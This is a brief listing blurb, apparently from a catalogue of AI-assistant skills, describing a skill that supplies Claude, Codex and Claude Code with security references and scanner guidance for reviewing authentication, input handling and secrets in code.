Security-sensitive code is easy to ship with hidden flaws in authentication, input handling, and secrets. This skill gives Claude, Codex, and Claude Code structured security references and scanner guidance for safer reviews.
Security & Compliance View